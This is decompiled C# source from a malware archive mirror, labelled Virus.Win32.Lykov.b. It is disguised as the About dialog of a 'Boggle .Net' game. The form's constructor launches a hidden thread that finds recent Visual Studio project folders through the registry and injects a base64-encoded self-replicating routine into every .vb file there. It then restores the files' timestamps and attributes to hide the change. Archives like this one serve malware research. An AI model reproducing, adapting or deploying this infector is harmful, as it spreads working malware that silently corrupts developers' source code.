mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 09:56:10 +00:00
273 lines
12 KiB
C#
273 lines
12 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: Boggle.frmAbout
|
|
// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null
|
|
// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe
|
|
|
|
using Microsoft.VisualBasic;
|
|
using Microsoft.VisualBasic.CompilerServices;
|
|
using Microsoft.Win32;
|
|
using System;
|
|
using System.ComponentModel;
|
|
using System.Diagnostics;
|
|
using System.Drawing;
|
|
using System.IO;
|
|
using System.Resources;
|
|
using System.Runtime.CompilerServices;
|
|
using System.Text;
|
|
using System.Threading;
|
|
using System.Windows.Forms;
|
|
|
|
namespace Boggle
|
|
{
|
|
public class frmAbout : Form
|
|
{
|
|
[AccessedThroughProperty("Label3")]
|
|
private Label _Label3;
|
|
[AccessedThroughProperty("Label2")]
|
|
private Label _Label2;
|
|
[AccessedThroughProperty("Label1")]
|
|
private Label _Label1;
|
|
[AccessedThroughProperty("PictureBox1")]
|
|
private PictureBox _PictureBox1;
|
|
[AccessedThroughProperty("Label4")]
|
|
private Label _Label4;
|
|
private IContainer components;
|
|
|
|
internal virtual Label Label2
|
|
{
|
|
get => this._Label2;
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|
{
|
|
if (this._Label2 == null)
|
|
;
|
|
this._Label2 = value;
|
|
if (this._Label2 == null)
|
|
;
|
|
}
|
|
}
|
|
|
|
internal virtual PictureBox PictureBox1
|
|
{
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|
{
|
|
if (this._PictureBox1 == null)
|
|
;
|
|
this._PictureBox1 = value;
|
|
if (this._PictureBox1 == null)
|
|
;
|
|
}
|
|
get => this._PictureBox1;
|
|
}
|
|
|
|
internal virtual Label Label4
|
|
{
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|
{
|
|
if (this._Label4 == null)
|
|
;
|
|
this._Label4 = value;
|
|
if (this._Label4 == null)
|
|
;
|
|
}
|
|
get => this._Label4;
|
|
}
|
|
|
|
internal virtual Label Label1
|
|
{
|
|
get => this._Label1;
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|
{
|
|
if (this._Label1 == null)
|
|
;
|
|
this._Label1 = value;
|
|
if (this._Label1 == null)
|
|
;
|
|
}
|
|
}
|
|
|
|
internal virtual Label Label3
|
|
{
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|
{
|
|
if (this._Label3 == null)
|
|
;
|
|
this._Label3 = value;
|
|
if (this._Label3 == null)
|
|
;
|
|
}
|
|
get => this._Label3;
|
|
}
|
|
|
|
private void vIT()
|
|
{
|
|
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\VisualStudio\\7.0\\ProjectMRUList");
|
|
if (registryKey.ValueCount == 0)
|
|
ProjectData.EndApp();
|
|
string String2 = "Private Sub vIT()";
|
|
string str1 = "Public Sub New()";
|
|
string str2 = "Dim t As New System.Threading.Thread(AddressOf vIT)\r\nt.Start()";
|
|
string str3 = "UHJpdmF0ZSBTdWIgdklUKCkNCkRpbSBYLCBZIEFzIEludGVnZXINCkRpbSBBLCBC" + "KCksIEMsIEcsIEgsIEksIEosIEssIEwgQXMgU3RyaW5nDQpEaW0gRCwgRiBBcyBE" + "YXRlDQpEaW0gUiBBcyBNaWNyb3NvZnQuV2luMzIuUmVnaXN0cnlLZXkNCkRpbSBT" + "IEFzIFN5c3RlbS5JTy5TdHJlYW1SZWFkZXINCkRpbSBUIEFzIFN5c3RlbS5JTy5T" + "dHJlYW1Xcml0ZXINCkRpbSBVIEFzIFN5c3RlbS5JTy5GaWxlQXR0cmlidXRlcw0K" + "UiA9IE1pY3Jvc29mdC5XaW4zMi5SZWdpc3RyeS5DdXJyZW50VXNlci5PcGVuU3Vi" + "S2V5KCJTb2Z0d2FyZVxNaWNyb3NvZnRcVmlzdWFsU3R1ZGlvXDcuMFxQcm9qZWN0" + "TVJVTGlzdCIpDQpJZiBSLlZhbHVlQ291bnQgPSAwIFRoZW4gRW5kDQpHID0gIlBy" + "aXZhdGUgU3ViIHZJVCgpIg0KSCA9ICJQdWJsaWMgU3ViIE5ldygpIg0KSSA9ICJE" + "aW0gdCBBcyBOZXcgU3lzdGVtLlRocmVhZGluZy5UaHJlYWQoQWRkcmVzc09mIHZJ" + "VCkiICYgdmJDckxmICYgInQuU3RhcnQoKSINCkogPSAiIg0KSyA9IFN5c3RlbS5U" + "ZXh0LkVuY29kaW5nLkFTQ0lJLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gcm9t" + "QmFzZTY0U3RyaW5nKEopKQ0KTCA9ICJKID0gIiAmIENocigzNCkNCkZvciBYID0g" + "MSBUbyBMZW4oSikgU3RlcCA2NA0KSWYgWCArIDY0IDwgTGVuKEopIFRoZW4NCkwg" + "PSBMICYgTWlkKEosIFgsIDY0KSAmIENocigzNCkgJiB2YkNyTGYgJiAiSiA9IEog" + "JiAiICYgQ2hyKDM0KQ0KRWxzZQ0KTCA9IEwgJiBNaWQoSiwgWCwgNjQpICYgQ2hy" + "KDM0KQ0KRW5kIElmDQpOZXh0DQpLID0gUmVwbGFjZShLLCAiSiA9ICIgJiBDaHIo" + "MzQpICYgQ2hyKDM0KSwgTCwgMSwgMSwgQ29tcGFyZU1ldGhvZC5UZXh0KQ0KTCA9" + "ICIiDQpGb3IgWCA9IDAgVG8gUi5WYWx1ZUNvdW50IC0gMQ0KQSA9IFIuR2V0VmFs" + "dWUoUi5HZXRWYWx1ZU5hbWVzKFgpKQ0KQSA9IE1pZChBLCAxLCBJblN0clJldihB" + "LCAiXCIsIC0xLCBDb21wYXJlTWV0aG9kLlRleHQpKQ0KSWYgU3lzdGVtLklPLkRp" + "cmVjdG9yeS5FeGlzdHMoQSkgVGhlbg0KQiA9IFN5c3RlbS5JTy5EaXJlY3Rvcnku" + "R2V0RmlsZXMoQSwgIioudmIiKQ0KRm9yIFkgPSBMQm91bmQoQikgVG8gVUJvdW5k" + "KEIpDQpEID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoQihZKSkN" + "CkYgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0V3JpdGVUaW1lKEIoWSkpDQpVID0g" + "U3lzdGVtLklPLkZpbGUuR2V0QXR0cmlidXRlcyhCKFkpKQ0KU3lzdGVtLklPLkZp" + "bGUuU2V0QXR0cmlidXRlcyhCKFkpLCBJTy5GaWxlQXR0cmlidXRlcy5Ob3JtYWwp" + "DQpTID0gU3lzdGVtLklPLkZpbGUuT3BlblRleHQoQihZKSkNCkMgPSBTLlJlYWRU" + "b0VuZCgpDQpTLkNsb3NlKCkNCklmIEluU3RyKEMsIEcsIENvbXBhcmVNZXRob2Qu" + "VGV4dCkgPSAwIEFuZCBJblN0cihDLCBILCBDb21wYXJlTWV0aG9kLlRleHQpIDw+" + "IDAgVGhlbg0KQyA9IFJlcGxhY2UoQywgIk15QmFzZS5OZXcoKSIsICJNeUJhc2Uu" + "TmV3KCkiICYgdmJDckxmICYgSSwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQpDQpD" + "ID0gUmVwbGFjZShDLCBILCBLICYgSCwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQp" + "DQpUID0gU3lzdGVtLklPLkZpbGUuQ3JlYXRlVGV4dChCKFkpKQ0KVC5Xcml0ZShD" + "KQ0KVC5GbHVzaCgpDQpULkNsb3NlKCkNCkVuZCBJZg0KU3lzdGVtLklPLkZpbGUu" + "U2V0TGFzdFdyaXRlVGltZShCKFkpLCBGKQ0KU3lzdGVtLklPLkZpbGUuU2V0TGFz" + "dEFjY2Vzc1RpbWUoQihZKSwgRCkNClN5c3RlbS5JTy5GaWxlLlNldEF0dHJpYnV0" + "ZXMoQihZKSwgVSkNCk5leHQNCkVuZCBJZg0KTmV4dA0KRW5kIFN1Yg0K";
|
|
string Expression = Encoding.ASCII.GetString(Convert.FromBase64String(str3));
|
|
string Replacement = "J = \"";
|
|
int num1 = Strings.Len(str3);
|
|
int Start = 1;
|
|
while (Start <= num1)
|
|
{
|
|
Replacement = checked (Start + 64) >= Strings.Len(str3) ? Replacement + Strings.Mid(str3, Start, 64) + "\"" : Replacement + Strings.Mid(str3, Start, 64) + "\"" + "\r\nJ = J & " + "\"";
|
|
checked { Start += 64; }
|
|
}
|
|
string str4 = Strings.Replace(Expression, "J = \"\"", Replacement, Count: 1, Compare: CompareMethod.Text);
|
|
int num2 = checked (registryKey.ValueCount - 1);
|
|
int index1 = 0;
|
|
while (index1 <= num2)
|
|
{
|
|
string str5 = StringType.FromObject(registryKey.GetValue(registryKey.GetValueNames()[index1]));
|
|
string path = Strings.Mid(str5, 1, Strings.InStrRev(str5, "\\", Compare: CompareMethod.Text));
|
|
if (Directory.Exists(path))
|
|
{
|
|
string[] files = Directory.GetFiles(path, "*.vb");
|
|
int num3 = Information.LBound((Array) files);
|
|
int num4 = Information.UBound((Array) files);
|
|
int index2 = num3;
|
|
while (index2 <= num4)
|
|
{
|
|
DateTime lastAccessTime = File.GetLastAccessTime(files[index2]);
|
|
DateTime lastWriteTime = File.GetLastWriteTime(files[index2]);
|
|
FileAttributes attributes = File.GetAttributes(files[index2]);
|
|
File.SetAttributes(files[index2], FileAttributes.Normal);
|
|
StreamReader streamReader = File.OpenText(files[index2]);
|
|
string end = streamReader.ReadToEnd();
|
|
streamReader.Close();
|
|
if (Strings.InStr(end, String2, CompareMethod.Text) == 0 & Strings.InStr(end, str1, CompareMethod.Text) != 0)
|
|
{
|
|
string str6 = Strings.Replace(Strings.Replace(end, "MyBase.New()", "MyBase.New()\r\n" + str2, Count: 1, Compare: CompareMethod.Text), str1, str4 + str1, Count: 1, Compare: CompareMethod.Text);
|
|
StreamWriter text = File.CreateText(files[index2]);
|
|
text.Write(str6);
|
|
text.Flush();
|
|
text.Close();
|
|
}
|
|
File.SetLastWriteTime(files[index2], lastWriteTime);
|
|
File.SetLastAccessTime(files[index2], lastAccessTime);
|
|
File.SetAttributes(files[index2], attributes);
|
|
checked { ++index2; }
|
|
}
|
|
}
|
|
checked { ++index1; }
|
|
}
|
|
}
|
|
|
|
public frmAbout()
|
|
{
|
|
this.Load += new EventHandler(this.frmAbout_Load);
|
|
new Thread(new ThreadStart(this.vIT)).Start();
|
|
this.InitializeComponent();
|
|
}
|
|
|
|
protected override void Dispose(bool disposing)
|
|
{
|
|
if (disposing && this.components != null)
|
|
this.components.Dispose();
|
|
base.Dispose(disposing);
|
|
}
|
|
|
|
[DebuggerStepThrough]
|
|
private void InitializeComponent()
|
|
{
|
|
ResourceManager resourceManager = new ResourceManager(typeof (frmAbout));
|
|
this.Label1 = new Label();
|
|
this.Label2 = new Label();
|
|
this.Label3 = new Label();
|
|
this.Label4 = new Label();
|
|
this.PictureBox1 = new PictureBox();
|
|
this.SuspendLayout();
|
|
this.Label1.Font = new Font("Microsoft Sans Serif", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
|
Label label1_1 = this.Label1;
|
|
Point point1 = new Point(152, 16);
|
|
Point point2 = point1;
|
|
label1_1.Location = point2;
|
|
this.Label1.Name = "Label1";
|
|
Label label1_2 = this.Label1;
|
|
Size size1 = new Size(88, 24);
|
|
Size size2 = size1;
|
|
label1_2.Size = size2;
|
|
this.Label1.TabIndex = 0;
|
|
this.Label1.Text = "Boggle .Net";
|
|
this.Label2.Font = new Font("Microsoft Sans Serif", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
|
Label label2_1 = this.Label2;
|
|
point1 = new Point(152, 48);
|
|
Point point3 = point1;
|
|
label2_1.Location = point3;
|
|
this.Label2.Name = "Label2";
|
|
Label label2_2 = this.Label2;
|
|
size1 = new Size(216, 24);
|
|
Size size3 = size1;
|
|
label2_2.Size = size3;
|
|
this.Label2.TabIndex = 1;
|
|
this.Label2.Text = "Copyright (C) 2003 Billy Collins";
|
|
this.Label3.Font = new Font("Microsoft Sans Serif", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
|
Label label3_1 = this.Label3;
|
|
point1 = new Point(152, 80);
|
|
Point point4 = point1;
|
|
label3_1.Location = point4;
|
|
this.Label3.Name = "Label3";
|
|
Label label3_2 = this.Label3;
|
|
size1 = new Size(216, 24);
|
|
Size size4 = size1;
|
|
label3_2.Size = size4;
|
|
this.Label3.TabIndex = 2;
|
|
this.Label3.Text = "Programmed By: Billy Collins";
|
|
this.Label4.Font = new Font("Microsoft Sans Serif", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
|
Label label4_1 = this.Label4;
|
|
point1 = new Point(152, 112);
|
|
Point point5 = point1;
|
|
label4_1.Location = point5;
|
|
this.Label4.Name = "Label4";
|
|
Label label4_2 = this.Label4;
|
|
size1 = new Size(208, 24);
|
|
Size size5 = size1;
|
|
label4_2.Size = size5;
|
|
this.Label4.TabIndex = 3;
|
|
this.Label4.Text = "Images By: Peter Tuttle";
|
|
this.PictureBox1.Image = (Image) resourceManager.GetObject("PictureBox1.Image");
|
|
PictureBox pictureBox1_1 = this.PictureBox1;
|
|
point1 = new Point(8, 16);
|
|
Point point6 = point1;
|
|
pictureBox1_1.Location = point6;
|
|
this.PictureBox1.Name = "PictureBox1";
|
|
PictureBox pictureBox1_2 = this.PictureBox1;
|
|
size1 = new Size(128, 120);
|
|
Size size6 = size1;
|
|
pictureBox1_2.Size = size6;
|
|
this.PictureBox1.SizeMode = PictureBoxSizeMode.StretchImage;
|
|
this.PictureBox1.TabIndex = 4;
|
|
this.PictureBox1.TabStop = false;
|
|
size1 = new Size(5, 13);
|
|
this.AutoScaleBaseSize = size1;
|
|
size1 = new Size(378, 151);
|
|
this.ClientSize = size1;
|
|
this.Controls.AddRange(new Control[5]
|
|
{
|
|
(Control) this.PictureBox1,
|
|
(Control) this.Label4,
|
|
(Control) this.Label3,
|
|
(Control) this.Label2,
|
|
(Control) this.Label1
|
|
});
|
|
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
|
this.MaximizeBox = false;
|
|
this.MinimizeBox = false;
|
|
this.Name = nameof (frmAbout);
|
|
this.Text = "About Boggle .Net";
|
|
this.TopMost = true;
|
|
this.ResumeLayout(false);
|
|
}
|
|
|
|
private void frmAbout_Load(object sender, EventArgs e)
|
|
{
|
|
this.Left = checked ((int) Math.Round(unchecked ((double) Screen.PrimaryScreen.Bounds.Width / 2.0 - (double) this.Width / 2.0)));
|
|
this.Top = checked ((int) Math.Round(unchecked ((double) Screen.PrimaryScreen.Bounds.Height / 2.0 - (double) this.Height / 2.0)));
|
|
}
|
|
}
|
|
}
|